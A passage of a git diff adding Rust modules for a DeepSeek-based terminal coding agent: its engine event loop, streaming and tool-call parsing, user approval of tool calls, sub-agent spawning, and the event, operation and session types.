']')) +} + +fn extract_balanced_segment(text: &str, open: char, close: char) -> Option { + let start = text.find(open)?; + let mut depth = 0i32; + let mut end = None; + for (offset, ch) in text[start..].char_indices() { + if ch == open { + depth += 1; + } else if ch == close { + depth -= 1; + if depth == 0 { + end = Some(start + offset + ch.len_utf8()); + break; + } + } + } + end.map(|end_idx| text[start..end_idx].to_string()) +} + +impl Engine { + /// Create a new engine with the given configuration + pub fn new(config: EngineConfig, api_config: &Config) -> (Self, EngineHandle) { + let (tx_op, rx_op) = mpsc::channel(32); + let (tx_event, rx_event) = mpsc::channel(256); + let (tx_approval, rx_approval) = mpsc::channel(64); + let cancel_token = CancellationToken::new(); + let tool_exec_lock = Arc::new(RwLock::new(())); + + // Create clients for both providers + let (deepseek_client, deepseek_client_error) = match DeepSeekClient::new(api_config) { + Ok(client) => (Some(client), None), + Err(err) => (None, Some(err.to_string())), + }; + + let mut session = Session::new( + config.model.clone(), + config.workspace.clone(), + config.allow_shell, + config.trust_mode, + config.notes_path.clone(), + config.mcp_config_path.clone(), + ); + + // Set up system prompt with project context (default to agent mode) + let system_prompt = prompts::system_prompt_for_mode_with_context( + AppMode::Agent, + &config.workspace, + None, + None, + ); + session.system_prompt = Some(system_prompt); + + let subagent_manager = + new_shared_subagent_manager(config.workspace.clone(), config.max_subagents); + + let engine = Engine { + config, + deepseek_client, + deepseek_client_error, + session, + subagent_manager, + mcp_pool: None, + rx_op, + rx_approval, + tx_event, + cancel_token: cancel_token.clone(), + tool_exec_lock, + }; + + let handle = EngineHandle { + tx_op, + rx_event: Arc::new(RwLock::new(rx_event)), + cancel_token, + tx_approval, + }; + + (engine, handle) + } + + /// Run the engine event loop + #[allow(clippy::too_many_lines)] + pub async fn run(mut self) { + while let Some(op) = self.rx_op.recv().await { + match op { + Op::SendMessage { + content, + mode, + model, + allow_shell, + trust_mode, + } => { + self.handle_send_message(content, mode, model, allow_shell, trust_mode) + .await; + } + Op::CancelRequest => { + self.cancel_token.cancel(); + // Create a new token for the next request + self.cancel_token = CancellationToken::new(); + } + Op::ApproveToolCall { id } => { + // Tool approval handling will be implemented in tools module + let _ = self + .tx_event + .send(Event::status(format!("Approved tool call: {id}"))) + .await; + } + Op::DenyToolCall { id } => { + let _ = self + .tx_event + .send(Event::status(format!("Denied tool call: {id}"))) + .await; + } + Op::SpawnSubAgent { prompt } => { + let Some(client) = self.deepseek_client.clone() else { + let message = self + .deepseek_client_error + .as_deref() + .map(|err| format!("Failed to spawn sub-agent: {err}")) + .unwrap_or_else(|| { + "Failed to spawn sub-agent: API client not configured".to_string() + }); + let _ = self.tx_event.send(Event::error(message, false)).await; + continue; + }; + + let runtime = SubAgentRuntime::new( + client, + self.session.model.clone(), + // Sub-agents don't inherit YOLO mode - use Agent mode defaults + self.build_tool_context(AppMode::Agent), + self.session.allow_shell, + Some(self.tx_event.clone()), + ); + + let result = self + .subagent_manager + .lock() + .map_err(|_| anyhow::anyhow!("Failed to lock sub-agent manager")) + .and_then(|mut manager| { + manager.spawn_background( + Arc::clone(&self.subagent_manager), + runtime, + SubAgentType::General, + prompt.clone(), + None, + ) + }); + + match result { + Ok(snapshot) => { + let _ = self + .tx_event + .send(Event::status(format!( + "Spawned sub-agent {}", + snapshot.agent_id + ))) + .await; + } + Err(err) => { + let _ = self + .tx_event + .send(Event::error( + format!("Failed to spawn sub-agent: {err}"), + false, + )) + .await; + } + } + } + Op::ListSubAgents => { + let result = self + .subagent_manager + .lock() + .map(|manager| manager.list()) + .map_err(|_| anyhow::anyhow!("Failed to lock sub-agent manager")); + + match result { + Ok(agents) => { + let _ = self.tx_event.send(Event::AgentList { agents }).await; + } + Err(err) => { + let _ = self + .tx_event + .send(Event::error( + format!("Failed to list sub-agents: {err}"), + true, + )) + .await; + } + } + } + Op::ChangeMode { mode } => { + let _ = self + .tx_event + .send(Event::status(format!("Mode changed to: {mode:?}"))) + .await; + } + Op::SetModel { model } => { + self.session.model = model; + self.config.model.clone_from(&self.session.model); + let _ = self + .tx_event + .send(Event::status(format!( + "Model set to: {}", + self.session.model + ))) + .await; + } + Op::SetCompaction { config } => { + let enabled = config.enabled; + self.config.compaction = config; + let _ = self + .tx_event + .send(Event::status(format!( + "Auto-compaction {}", + if enabled { "enabled" } else { "disabled" } + ))) + .await; + } + Op::SyncSession { + messages, + system_prompt, + model, + workspace, + } => { + self.session.messages = messages; + self.session.system_prompt = system_prompt; + self.session.model = model; + self.session.workspace = workspace.clone(); + self.config.model.clone_from(&self.session.model); + self.config.workspace = workspace.clone(); + let ctx = crate::project_context::load_project_context_with_parents(&workspace); + self.session.project_context = if ctx.has_instructions() { + Some(ctx) + } else { + None + }; + let _ = self + .tx_event + .send(Event::status("Session context synced".to_string())) + .await; + } + Op::Shutdown => { + break; + } + } + } + } + + /// Handle a send message operation + async fn handle_send_message( + &mut self, + content: String, + mode: AppMode, + model: String, + allow_shell: bool, + trust_mode: bool, + ) { + // Reset cancel token for fresh turn (in case previous was cancelled) + self.cancel_token = CancellationToken::new(); + + // Emit turn started event + let _ = self.tx_event.send(Event::TurnStarted).await; + + // Check if we have the appropriate client + if self.deepseek_client.is_none() { + let message = self + .deepseek_client_error + .as_deref() + .map(|err| format!("Failed to send message: {err}")) + .unwrap_or_else(|| "Failed to send message: API client not configured".to_string()); + let _ = self.tx_event.send(Event::error(message, false)).await; + return; + } + + // Add user message to session + let user_msg = Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: content, + cache_control: None, + }], + }; + self.session.add_message(user_msg); + + // Create turn context + let mut turn = TurnContext::new(self.config.max_steps); + + self.session.model = model; + self.config.model.clone_from(&self.session.model); + self.session.allow_shell = allow_shell; + self.config.allow_shell = allow_shell; + self.session.trust_mode = trust_mode; + self.config.trust_mode = trust_mode; + + // Update system prompt to match the current mode + let rlm_summary = if mode == AppMode::Rlm { + self.config + .rlm_session + .lock() + .ok() + .map(|session| rlm_session_summary(&session)) + } else { + None + }; + let duo_summary = if mode == AppMode::Duo { + self.config + .duo_session + .lock() + .ok() + .map(|s| duo_session_summary(&s)) + } else { + None + }; + self.session.system_prompt = Some(prompts::system_prompt_for_mode_with_context( + mode, + &self.config.workspace, + rlm_summary.as_deref(), + duo_summary.as_deref(), + )); + + // Build tool registry and tool list for the current mode + let todo_list = self.config.todos.clone(); + let plan_state = self.config.plan_state.clone(); + + let tool_context = self.build_tool_context(mode); + let mut builder = if mode == AppMode::Plan { + ToolRegistryBuilder::new() + .with_read_only_file_tools() + .with_search_tools() + .with_todo_tool(todo_list.clone()) + .with_plan_tool(plan_state.clone()) + } else { + ToolRegistryBuilder::new() + .with_file_tools() + .with_note_tool() + .with_search_tools() + .with_todo_tool(todo_list.clone()) + .with_plan_tool(plan_state.clone()) + }; + + if self.config.features.enabled(Feature::ApplyPatch) && mode != AppMode::Plan { + builder = builder.with_patch_tools(); + } + if self.config.features.enabled(Feature::WebSearch) { + builder = builder.with_web_tools(); + } + if self.config.features.enabled(Feature::ShellTool) + && self.session.allow_shell + && mode != AppMode::Plan + { + builder = builder.with_shell_tools(); + } + if mode == AppMode::Rlm { + if self.config.features.enabled(Feature::Rlm) { + builder = builder.with_rlm_tools( + self.config.rlm_session.clone(), + self.deepseek_client.clone(), + self.session.model.clone(), + ); + } else { + let _ = self + .tx_event + .send(Event::status("RLM tools are disabled by feature flags")) + .await; + } + } + if mode == AppMode::Duo { + if self.config.features.enabled(Feature::Duo) { + builder = builder.with_duo_tools(self.config.duo_session.clone()); + } else { + let _ = self + .tx_event + .send(Event::status("Duo tools are disabled by feature flags")) + .await; + } + } + + let tool_registry = match mode { + AppMode::Agent | AppMode::Yolo | AppMode::Rlm | AppMode::Duo => { + if self.config.features.enabled(Feature::Subagents) { + let runtime = if let Some(client) = self.deepseek_client.clone() { + Some(SubAgentRuntime::new( + client, + self.session.model.clone(), + tool_context.clone(), + self.session.allow_shell, + Some(self.tx_event.clone()), + )) + } else { + None + }; + Some( + builder + .with_subagent_tools( + self.subagent_manager.clone(), + runtime.expect("sub-agent runtime should exist with active client"), + ) + .build(tool_context), + ) + } else { + Some(builder.build(tool_context)) + } + } + _ => Some(builder.build(tool_context)), + }; + + let mcp_tools = if self.config.features.enabled(Feature::Mcp) { + self.mcp_tools().await + } else { + Vec::new() + }; + let tools = tool_registry.as_ref().map(|registry| { + let mut tools = registry.to_api_tools(); + tools.extend(mcp_tools); + tools + }); + + // Main turn loop + self.handle_deepseek_turn(&mut turn, tool_registry.as_ref(), tools, mode) + .await; + + // Update session usage + self.session.total_usage.add(&turn.usage); + + // Emit turn complete event + let _ = self + .tx_event + .send(Event::TurnComplete { usage: turn.usage }) + .await; + } + + fn build_tool_context(&self, mode: AppMode) -> ToolContext { + ToolContext::with_auto_approve( + self.session.workspace.clone(), + self.session.trust_mode, + self.session.notes_path.clone(), + self.session.mcp_config_path.clone(), + mode == AppMode::Yolo, + ) + } + + async fn ensure_mcp_pool(&mut self) -> Result>, ToolError> { + if let Some(pool) = self.mcp_pool.as_ref() { + return Ok(Arc::clone(pool)); + } + let pool = McpPool::from_config_path(&self.session.mcp_config_path) + .map_err(|e| ToolError::execution_failed(format!("Failed to load MCP config: {e}")))?; + let pool = Arc::new(AsyncMutex::new(pool)); + self.mcp_pool = Some(Arc::clone(&pool)); + Ok(pool) + } + + async fn mcp_tools(&mut self) -> Vec { + let pool = match self.ensure_mcp_pool().await { + Ok(pool) => pool, + Err(err) => { + let _ = self.tx_event.send(Event::status(err.to_string())).await; + return Vec::new(); + } + }; + + let mut pool = pool.lock().await; + let errors = pool.connect_all().await; + for (server, err) in errors { + let _ = self + .tx_event + .send(Event::status(format!( + "Failed to connect MCP server '{server}': {err}" + ))) + .await; + } + + pool.to_api_tools() + } + + async fn execute_mcp_tool( + &mut self, + name: &str, + input: serde_json::Value, + ) -> Result { + let pool = self.ensure_mcp_pool().await?; + Self::execute_mcp_tool_with_pool(pool, name, input).await + } + + async fn execute_mcp_tool_with_pool( + pool: Arc>, + name: &str, + input: serde_json::Value, + ) -> Result { + let mut pool = pool.lock().await; + let result = pool + .call_tool(name, input) + .await + .map_err(|e| ToolError::execution_failed(format!("MCP tool failed: {e}")))?; + let content = serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()); + Ok(ToolResult::success(content)) + } + + #[allow(clippy::too_many_arguments)] + async fn execute_tool_with_lock( + lock: Arc>, + supports_parallel: bool, + interactive: bool, + tx_event: mpsc::Sender, + tool_name: String, + tool_input: serde_json::Value, + registry: Option<&crate::tools::ToolRegistry>, + mcp_pool: Option>>, + context_override: Option, + ) -> Result { + let _guard = if supports_parallel { + ToolExecGuard::Read(lock.read().await) + } else { + ToolExecGuard::Write(lock.write().await) + }; + + if interactive { + let _ = tx_event.send(Event::PauseEvents).await; + } + + let result = if McpPool::is_mcp_tool(&tool_name) { + if let Some(pool) = mcp_pool { + Engine::execute_mcp_tool_with_pool(pool, &tool_name, tool_input).await + } else { + Err(ToolError::not_available(format!( + "tool '{tool_name}' is not registered" + ))) + } + } else if let Some(registry) = registry { + registry + .execute_full_with_context(&tool_name, tool_input, context_override.as_ref()) + .await + } else { + Err(ToolError::not_available(format!( + "tool '{tool_name}' is not registered" + ))) + }; + + if interactive { + let _ = tx_event.send(Event::ResumeEvents).await; + } + + result + } + + async fn await_tool_approval(&mut self, tool_id: &str) -> Result { + loop { + tokio::select! { + _ = self.cancel_token.cancelled() => { + return Err(ToolError::execution_failed( + "Request cancelled while awaiting approval".to_string(), + )); + } + decision = self.rx_approval.recv() => { + let Some(decision) = decision else { + return Err(ToolError::execution_failed( + "Approval channel closed".to_string(), + )); + }; + match decision { + ApprovalDecision::Approved { id } if id == tool_id => { + return Ok(ApprovalResult::Approved); + } + ApprovalDecision::Denied { id } if id == tool_id => { + return Ok(ApprovalResult::Denied); + } + ApprovalDecision::RetryWithPolicy { id, policy } if id == tool_id => { + return Ok(ApprovalResult::RetryWithPolicy(policy)); + } + _ => continue, + } + } + } + } + } + + /// Handle a turn using the DeepSeek API. + #[allow(clippy::too_many_lines)] + async fn handle_deepseek_turn( + &mut self, + turn: &mut TurnContext, + tool_registry: Option<&crate::tools::ToolRegistry>, + tools: Option>, + _mode: AppMode, + ) { + let client = self + .deepseek_client + .clone() + .expect("DeepSeek client should be configured"); + + loop { + if self.cancel_token.is_cancelled() { + let _ = self.tx_event.send(Event::status("Request cancelled")).await; + break; + } + + if turn.at_max_steps() { + let _ = self + .tx_event + .send(Event::status("Reached maximum steps")) + .await; + break; + } + + if self.config.compaction.enabled + && should_compact(&self.session.messages, &self.config.compaction) + { + let _ = self + .tx_event + .send(Event::status("Auto-compacting context...".to_string())) + .await; + match compact_messages_safe( + &client, + &self.session.messages, + &self.config.compaction, + ) + .await + { + Ok(result) => { + // Only update if we got valid messages (never corrupt state) + if !result.messages.is_empty() || self.session.messages.is_empty() { + self.session.messages = result.messages; + self.session.system_prompt = merge_system_prompts( + self.session.system_prompt.as_ref(), + result.summary_prompt, + ); + let status = if result.retries_used > 0 { + format!( + "Auto-compaction complete (after {} retries)", + result.retries_used + ) + } else { + "Auto-compaction complete".to_string() + }; + let _ = self.tx_event.send(Event::status(status)).await; + } else { + let _ = self + .tx_event + .send(Event::status( + "Auto-compaction skipped: empty result".to_string(), + )) + .await; + } + } + Err(err) => { + // Log error but continue with original messages (never corrupt) + let _ = self + .tx_event + .send(Event::status(format!("Auto-compaction failed: {err}"))) + .await; + } + } + } + + // Build the request + let request = MessageRequest { + model: self.session.model.clone(), + messages: self.session.messages.clone(), + max_tokens: 4096, + system: self.session.system_prompt.clone(), + tools: tools.clone(), + tool_choice: if tools.is_some() { + Some(json!({ "type": "auto" })) + } else { + None + }, + metadata: None, + thinking: None, + stream: Some(true), + temperature: None, + top_p: None, + }; + + // Stream the response + let stream_result = client.create_message_stream(request).await; + let stream = match stream_result { + Ok(s) => s, + Err(e) => { + let _ = self.tx_event.send(Event::error(e.to_string(), true)).await; + break; + } + }; + let mut stream = pin!(stream); + + // Track content blocks + let mut content_blocks: Vec = Vec::new(); + let mut current_text_raw = String::new(); + let mut current_text_visible = String::new(); + let mut current_thinking = String::new(); + let mut tool_uses: Vec = Vec::new(); + let mut usage = Usage { + input_tokens: 0, + output_tokens: 0, + }; + let mut current_block_kind: Option = None; + let mut current_tool_index: Option = None; + let mut in_tool_call_block = false; + let mut pending_message_complete = false; + let mut last_text_index: Option = None; + let mut stream_errors = 0u32; + + // Process stream events + while let Some(event_result) = stream.next().await { + if self.cancel_token.is_cancelled() { + break; + } + + let event = match event_result { + Ok(e) => e, + Err(e) => { + stream_errors = stream_errors.saturating_add(1); + let _ = self.tx_event.send(Event::error(e.to_string(), true)).await; + if stream_errors >= 3 { + break; + } + continue; + } + }; + + match event { + StreamEvent::MessageStart { message } => { + usage = message.usage; + } + StreamEvent::ContentBlockStart { + index, + content_block, + } => match content_block { + ContentBlockStart::Text { text } => { + current_text_raw = text; + current_text_visible.clear(); + in_tool_call_block = false; + let filtered = + filter_tool_call_delta(¤t_text_raw, &mut in_tool_call_block); + current_text_visible.push_str(&filtered); + current_block_kind = Some(ContentBlockKind::Text); + last_text_index = Some(index as usize); + let _ = self + .tx_event + .send(Event::MessageStarted { + index: index as usize, + }) + .await; + } + ContentBlockStart::Thinking { thinking } => { + current_thinking = thinking; + current_block_kind = Some(ContentBlockKind::Thinking); + let _ = self + .tx_event + .send(Event::ThinkingStarted { + index: index as usize, + }) + .await; + } + ContentBlockStart::ToolUse { id, name, input } => { + crate::logging::info(format!( + "Tool '{}' block start. Initial input: {:?}", + name, input + )); + current_block_kind = Some(ContentBlockKind::ToolUse); + current_tool_index = Some(tool_uses.len()); + let _ = self + .tx_event + .send(Event::ToolCallStarted { + id: id.clone(), + name: name.clone(), + input: json!({}), + }) + .await; + tool_uses.push(ToolUseState { + id, + name, + input, + input_buffer: String::new(), + }); + } + }, + StreamEvent::ContentBlockDelta { index, delta } => match delta { + Delta::TextDelta { text } => { + current_text_raw.push_str(&text); + let filtered = filter_tool_call_delta(&text, &mut in_tool_call_block); + if !filtered.is_empty() { + current_text_visible.push_str(&filtered); + let _ = self + .tx_event + .send(Event::MessageDelta { + index: index as usize, + content: filtered, + }) + .await; + } + } + Delta::ThinkingDelta { thinking } => { + current_thinking.push_str(&thinking); + if !thinking.is_empty() { + let _ = self + .tx_event + .send(Event::ThinkingDelta { + index: index as usize, + content: thinking, + }) + .await; + } + } + Delta::InputJsonDelta { partial_json } => { + if let Some(index) = current_tool_index + && let Some(tool_state) = tool_uses.get_mut(index) + { + tool_state.input_buffer.push_str(&partial_json); + crate::logging::info(format!( + "Tool '{}' input delta: {} (buffer now: {})", + tool_state.name, partial_json, tool_state.input_buffer + )); + if let Some(value) = parse_tool_input(&tool_state.input_buffer) { + tool_state.input = value.clone(); + crate::logging::info(format!( + "Tool '{}' input parsed: {:?}", + tool_state.name, value + )); + } + } + } + }, + StreamEvent::ContentBlockStop { index } => { + let stopped_kind = current_block_kind.take(); + match stopped_kind { + Some(ContentBlockKind::Text) => { + pending_message_complete = true; + last_text_index = Some(index as usize); + } + Some(ContentBlockKind::Thinking) => { + let _ = self + .tx_event + .send(Event::ThinkingComplete { + index: index as usize, + }) + .await; + } + Some(ContentBlockKind::ToolUse) | None => {} + } + if matches!(stopped_kind, Some(ContentBlockKind::ToolUse)) { + if let Some(index) = current_tool_index.take() + && let Some(tool_state) = tool_uses.get_mut(index) + { + crate::logging::info(format!( + "Tool '{}' block stop. Buffer: '{}', Current input: {:?}", + tool_state.name, tool_state.input_buffer, tool_state.input + )); + if !tool_state.input_buffer.trim().is_empty() { + if let Some(value) = parse_tool_input(&tool_state.input_buffer) + { + tool_state.input = value; + crate::logging::info(format!( + "Tool '{}' final input: {:?}", + tool_state.name, tool_state.input + )); + } else { + crate::logging::warn(format!( + "Tool '{}' failed to parse final input buffer: '{}'", + tool_state.name, tool_state.input_buffer + )); + } + } else { + crate::logging::warn(format!( + "Tool '{}' input buffer is empty, using initial input: {:?}", + tool_state.name, tool_state.input + )); + } + } + } + } + StreamEvent::MessageDelta { + usage: delta_usage, .. + } => { + if let Some(u) = delta_usage { + usage = u; + } + } + StreamEvent::MessageStop | StreamEvent::Ping => {} + } + } + + // Update turn usage + turn.add_usage(&usage); + + // Build content blocks + if !current_thinking.is_empty() { + content_blocks.push(ContentBlock::Thinking { + thinking: current_thinking.clone(), + }); + } + let mut final_text = current_text_visible.clone(); + if tool_uses.is_empty() && tool_parser::has_tool_call_markers(¤t_text_raw) { + let parsed = tool_parser::parse_tool_calls(¤t_text_raw); + final_text = parsed.clean_text; + for call in parsed.tool_calls { + let _ = self + .tx_event + .send(Event::ToolCallStarted { + id: call.id.clone(), + name: call.name.clone(), + input: call.args.clone(), + }) + .await; + tool_uses.push(ToolUseState { + id: call.id, + name: call.name, + input: call.args, + input_buffer: String::new(), + }); + } + } + + if !final_text.is_empty() { + content_blocks.push(ContentBlock::Text { + text: final_text, + cache_control: None, + }); + } + for tool in &tool_uses { + content_blocks.push(ContentBlock::ToolUse { + id: tool.id.clone(), + name: tool.name.clone(), + input: tool.input.clone(), + }); + } + + if pending_message_complete { + let index = last_text_index.unwrap_or(0); + let _ = self.tx_event.send(Event::MessageComplete { index }).await; + } + + // Add assistant message to session + if !content_blocks.is_empty() { + self.session.add_message(Message { + role: "assistant".to_string(), + content: content_blocks, + }); + } + + // If no tool uses, we're done + if tool_uses.is_empty() { + break; + } + + // Execute tools + let tool_exec_lock = self.tool_exec_lock.clone(); + let mcp_pool = if tool_uses + .iter() + .any(|tool| McpPool::is_mcp_tool(&tool.name)) + { + match self.ensure_mcp_pool().await { + Ok(pool) => Some(pool), + Err(err) => { + let _ = self.tx_event.send(Event::status(err.to_string())).await; + None + } + } + } else { + None + }; + + let mut tool_tasks = FuturesUnordered::new(); + let mut outcomes: Vec> = Vec::with_capacity(tool_uses.len()); + outcomes.resize_with(tool_uses.len(), || None); + + for (index, tool) in tool_uses.iter().enumerate() { + let tool_id = tool.id.clone(); + let tool_name = tool.name.clone(); + let tool_input = tool.input.clone(); + crate::logging::info(format!( + "Executing tool '{}' with input: {:?}", + tool_name, tool_input + )); + let interactive = tool_name == "exec_shell" + && tool_input + .get("interactive") + .and_then(serde_json::Value::as_bool) + == Some(true); + + let mut approval_required = false; + let mut approval_description = "Tool execution requires approval".to_string(); + let mut supports_parallel = McpPool::is_mcp_tool(&tool_name); + if let Some(registry) = tool_registry + && let Some(spec) = registry.get(&tool_name) + { + approval_required = spec.approval_requirement() != ApprovalRequirement::Auto; + approval_description = spec.description().to_string(); + supports_parallel = spec.supports_parallel(); + } + + // Handle approval flow: returns (result_override, context_override) + let (result_override, context_override): ( + Option>, + Option, + ) = if approval_required { + let _ = self + .tx_event + .send(Event::ApprovalRequired { + id: tool_id.clone(), + tool_name: tool_name.clone(), + description: approval_description, + }) + .await; + + match self.await_tool_approval(&tool_id).await { + Ok(ApprovalResult::Approved) => (None, None), + Ok(ApprovalResult::Denied) => ( + Some(Err(ToolError::permission_denied(format!( + "Tool '{tool_name}' denied by user" + )))), + None, + ), + Ok(ApprovalResult::RetryWithPolicy(policy)) => { + // Create a context with the elevated sandbox policy + let elevated_context = tool_registry + .map(|r| r.context().clone().with_elevated_sandbox_policy(policy)); + (None, elevated_context) + } + Err(err) => (Some(Err(err)), None), + } + } else { + (None, None) + }; + + let registry = tool_registry; + let lock = tool_exec_lock.clone(); + let mcp_pool = mcp_pool.clone(); + let tx_event = self.tx_event.clone(); + + if let Some(result_override) = result_override { + let started_at = Instant::now(); + let _ = self + .tx_event + .send(Event::ToolCallComplete { + id: tool_id.clone(), + name: tool_name.clone(), + result: result_override.clone(), + }) + .await; + outcomes[index] = Some(ToolExecOutcome { + index, + id: tool_id, + name: tool_name, + input: tool_input, + started_at, + result: result_override, + }); + continue; + } + + if approval_required { + let started_at = Instant::now(); + let result = Self::execute_tool_with_lock( + lock, + supports_parallel, + interactive, + self.tx_event.clone(), + tool_name.clone(), + tool_input.clone(), + registry, + mcp_pool.clone(), + context_override, + ) + .await; + let _ = self + .tx_event + .send(Event::ToolCallComplete { + id: tool_id.clone(), + name: tool_name.clone(), + result: result.clone(), + }) + .await; + outcomes[index] = Some(ToolExecOutcome { + index, + id: tool_id, + name: tool_name, + input: tool_input, + started_at, + result, + }); + continue; + } + + let started_at = Instant::now(); + tool_tasks.push(async move { + let result = Engine::execute_tool_with_lock( + lock, + supports_parallel, + interactive, + tx_event.clone(), + tool_name.clone(), + tool_input.clone(), + registry, + mcp_pool, + None, // No context override for non-approval-required tools + ) + .await; + + let _ = tx_event + .send(Event::ToolCallComplete { + id: tool_id.clone(), + name: tool_name.clone(), + result: result.clone(), + }) + .await; + + ToolExecOutcome { + index, + id: tool_id, + name: tool_name, + input: tool_input, + started_at, + result, + } + }); + } + + while let Some(outcome) = tool_tasks.next().await { + let index = outcome.index; + outcomes[index] = Some(outcome); + } + + for outcome in outcomes.into_iter().flatten() { + let duration = outcome.started_at.elapsed(); + let mut tool_call = + TurnToolCall::new(outcome.id.clone(), outcome.name.clone(), outcome.input); + + match outcome.result { + Ok(output) => { + tool_call.set_result(output.content.clone(), duration); + self.session.add_message(Message { + role: "user".to_string(), + content: vec![ContentBlock::ToolResult { + tool_use_id: outcome.id, + content: output.content, + }], + }); + } + Err(e) => { + let error = e.to_string(); + tool_call.set_error(error.clone(), duration); + self.session.add_message(Message { + role: "user".to_string(), + content: vec![ContentBlock::ToolResult { + tool_use_id: outcome.id, + content: format!("Error: {error}"), + }], + }); + } + } + + turn.record_tool_call(tool_call); + } + + turn.next_step(); + } + } + + /// Get a reference to the session + pub fn session(&self) -> &Session { + &self.session + } + + /// Get a mutable reference to the session + pub fn session_mut(&mut self) -> &mut Session { + &mut self.session + } +} + +/// Spawn the engine in a background task +pub fn spawn_engine(config: EngineConfig, api_config: &Config) -> EngineHandle { + let (engine, handle) = Engine::new(config, api_config); + + tokio::spawn(async move { + engine.run().await; + }); + + handle +} diff --git a/src/core/events.rs b/src/core/events.rs new file mode 100644 index 00000000..90156ac6 --- /dev/null +++ b/src/core/events.rs @@ -0,0 +1,118 @@ +//! Events emitted by the core engine to the UI. +//! +//! These events flow from the engine to the TUI via a channel, +//! enabling non-blocking, real-time updates. + +use serde_json::Value; + +use crate::models::Usage; +use crate::tools::spec::{ToolError, ToolResult}; +use crate::tools::subagent::SubAgentResult; + +/// Events emitted by the engine to update the UI. +#[derive(Debug, Clone)] +pub enum Event { + // === Streaming Events === + /// A new message block has started + MessageStarted { index: usize }, + + /// Incremental text content delta + MessageDelta { index: usize, content: String }, + + /// Message block completed + MessageComplete { index: usize }, + + /// Thinking block started + ThinkingStarted { index: usize }, + + /// Incremental thinking content delta + ThinkingDelta { index: usize, content: String }, + + /// Thinking block completed + ThinkingComplete { index: usize }, + + // === Tool Events === + /// Tool call initiated + ToolCallStarted { + id: String, + name: String, + input: Value, + }, + + /// Tool execution progress (for long-running tools) + ToolCallProgress { id: String, output: String }, + + /// Tool call completed + ToolCallComplete { + id: String, + name: String, + result: Result, + }, + + // === Turn Lifecycle === + /// A new turn has started (user sent a message) + TurnStarted, + + /// The turn is complete (no more tool calls) + TurnComplete { usage: Usage }, + + // === Sub-Agent Events (for RLM mode) === + /// A sub-agent has been spawned + AgentSpawned { id: String, prompt: String }, + + /// Sub-agent progress update + AgentProgress { id: String, status: String }, + + /// Sub-agent completed + AgentComplete { id: String, result: String }, + + /// Sub-agent listing + AgentList { agents: Vec }, + + // === System Events === + /// An error occurred + Error { message: String, recoverable: bool }, + + /// Status message for UI display + Status { message: String }, + + /// Pause terminal input events (for interactive subprocesses) + PauseEvents, + + /// Resume terminal input events after subprocess completion + ResumeEvents, + + /// Request user approval for a tool call + ApprovalRequired { + id: String, + tool_name: String, + description: String, + }, + + /// Request user decision after sandbox denial + ElevationRequired { + tool_id: String, + tool_name: String, + command: Option, + denial_reason: String, + blocked_network: bool, + blocked_write: bool, + }, +} + +impl Event { + /// Create a new error event + pub fn error(message: impl Into, recoverable: bool) -> Self { + Event::Error { + message: message.into(), + recoverable, + } + } + + /// Create a new status event + pub fn status(message: impl Into) -> Self { + Event::Status { + message: message.into(), + } + } +} diff --git a/src/core/mod.rs b/src/core/mod.rs new file mode 100644 index 00000000..6ef5c3ee --- /dev/null +++ b/src/core/mod.rs @@ -0,0 +1,21 @@ +//! Core engine module for `DeepSeek` CLI. +//! +//! This module provides the event-driven architecture that separates +//! the UI from the AI interaction logic: +//! +//! - `engine`: The main engine that processes operations +//! - `events`: Events emitted by the engine to the UI +//! - `ops`: Operations submitted by the UI to the engine +//! - `session`: Session state management +//! - `turn`: Turn context and tracking + +#![allow(dead_code)] + +pub mod engine; +pub mod events; +pub mod ops; +pub mod session; +pub mod tool_parser; +pub mod turn; + +// Re-exports diff --git a/src/core/ops.rs b/src/core/ops.rs new file mode 100644 index 00000000..40742c32 --- /dev/null +++ b/src/core/ops.rs @@ -0,0 +1,81 @@ +//! Operations submitted by the UI to the core engine. +//! +//! These operations flow from the TUI to the engine via a channel, +//! allowing the UI to remain responsive while the engine processes requests. + +use crate::compaction::CompactionConfig; +use crate::models::{Message, SystemPrompt}; +use crate::tui::app::AppMode; +use std::path::PathBuf; + +/// Operations that can be submitted to the engine. +#[derive(Debug, Clone)] +pub enum Op { + /// Send a message to the AI + SendMessage { + content: String, + mode: AppMode, + model: String, + allow_shell: bool, + trust_mode: bool, + }, + + /// Cancel the current request + CancelRequest, + + /// Approve a tool call that requires permission + ApproveToolCall { id: String }, + + /// Deny a tool call that requires permission + DenyToolCall { id: String }, + + /// Spawn a sub-agent (for RLM mode) + SpawnSubAgent { prompt: String }, + + /// List current sub-agents and their status + ListSubAgents, + + /// Change the operating mode + ChangeMode { mode: AppMode }, + + /// Update the model being used + SetModel { model: String }, + + /// Update auto-compaction settings + SetCompaction { config: CompactionConfig }, + + /// Sync engine session state (used for resume/load) + SyncSession { + messages: Vec, + system_prompt: Option, + model: String, + workspace: PathBuf, + }, + + /// Shutdown the engine + Shutdown, +} + +impl Op { + /// Create a send message operation + pub fn send( + content: impl Into, + mode: AppMode, + model: impl Into, + allow_shell: bool, + trust_mode: bool, + ) -> Self { + Op::SendMessage { + content: content.into(), + mode, + model: model.into(), + allow_shell, + trust_mode, + } + } + + /// Create a cancel operation + pub fn cancel() -> Self { + Op::CancelRequest + } +} diff --git a/src/core/session.rs b/src/core/session.rs new file mode 100644 index 00000000..1f8487b3 --- /dev/null +++ b/src/core/session.rs @@ -0,0 +1,123 @@ +//! Session state management for the core engine. +//! +//! Tracks conversation history, token usage, and session metadata. + +use crate::models::{Message, SystemPrompt, Usage}; +use crate::project_context::{ProjectContext, load_project_context_with_parents}; +use std::path::PathBuf; + +/// Session state for the engine. +#[derive(Debug, Clone)] +pub struct Session { + /// Model being used + pub model: String, + + /// Workspace directory + pub workspace: PathBuf, + + /// System prompt (optional) + pub system_prompt: Option, + + /// Conversation history (API format) + pub messages: Vec, + + /// Total tokens used in this session + pub total_usage: SessionUsage, + + /// Whether shell execution is allowed + pub allow_shell: bool, + + /// Whether to trust paths outside workspace + pub trust_mode: bool, + + /// Notes file path + pub notes_path: PathBuf, + + /// MCP config path + pub mcp_config_path: PathBuf, + + /// Session ID (for tracking) + pub id: String, + + /// Project context loaded from AGENTS.md, etc. + pub project_context: Option, +} + +/// Cumulative usage statistics for a session. +#[derive(Debug, Clone, Default)] +#[allow(clippy::struct_field_names)] +pub struct SessionUsage { + pub input_tokens: u64, + pub output_tokens: u64, + pub cache_creation_input_tokens: u64, + pub cache_read_input_tokens: u64, +} + +impl SessionUsage { + /// Add usage from a turn + pub fn add(&mut self, usage: &Usage) { + self.input_tokens += 